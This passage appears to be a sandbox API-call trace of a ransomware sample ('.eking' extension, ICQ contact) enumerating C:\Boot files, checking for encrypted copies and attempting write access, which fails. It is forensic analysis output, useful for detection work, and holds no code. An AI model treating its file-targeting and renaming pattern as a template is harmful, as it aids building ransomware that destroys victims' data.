(lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0276.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0276.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.015] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.015] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.015] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=79200) returned 1 [0276.015] CloseHandle (hObject=0x2d8) returned 1 [0276.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0276.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0276.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.016] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=79192) returned 1 [0276.016] CloseHandle (hObject=0x2d8) returned 1 [0276.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0276.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0276.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.017] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.017] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.017] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45984) returned 1 [0276.017] CloseHandle (hObject=0x2d8) returned 1 [0276.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0276.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0276.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.018] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.018] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.018] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=76640) returned 1 [0276.018] CloseHandle (hObject=0x2d8) returned 1 [0276.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0276.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0276.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.021] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.021] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.022] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=78688) returned 1 [0276.022] CloseHandle (hObject=0x2d8) returned 1 [0276.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0276.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0276.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.022] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.023] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.023] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45976) returned 1 [0276.023] CloseHandle (hObject=0x2d8) returned 1 [0276.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0276.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0276.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.024] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.024] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.024] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=77144) returned 1 [0276.024] CloseHandle (hObject=0x2d8) returned 1 [0276.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0276.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0276.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.025] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.025] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.025] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0276.025] CloseHandle (hObject=0x2d8) returned 1 [0276.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0276.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0276.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.026] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=67424) returned 1 [0276.026] CloseHandle (hObject=0x2d8) returned 1 [0276.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0276.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0276.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.026] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.027] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.027] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=42904) returned 1 [0276.027] CloseHandle (hObject=0x2d8) returned 1 [0276.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0276.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0276.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.027] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.028] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.028] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=66912) returned 1 [0276.028] CloseHandle (hObject=0x2d8) returned 1 [0276.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0276.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0276.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.028] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.029] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.029] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=42912) returned 1 [0276.029] CloseHandle (hObject=0x2d8) returned 1 [0276.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0276.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0276.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.029] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.029] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.030] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=75616) returned 1 [0276.030] CloseHandle (hObject=0x2d8) returned 1 [0276.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0276.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0276.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.030] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.030] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.031] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=75608) returned 1 [0276.031] CloseHandle (hObject=0x2d8) returned 1 [0276.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0276.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0276.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.031] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.031] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.032] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=811936) returned 1 [0276.032] CloseHandle (hObject=0x2d8) returned 1 [0276.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0276.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0276.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\memtest.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.032] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.033] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.033] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=75616) returned 1 [0276.033] CloseHandle (hObject=0x2d8) returned 1 [0276.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0276.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0276.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.033] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.034] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.034] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0276.034] CloseHandle (hObject=0x2d8) returned 1 [0276.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0276.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0276.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.034] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.035] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=78176) returned 1 [0276.035] CloseHandle (hObject=0x2d8) returned 1 [0276.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0276.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0276.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 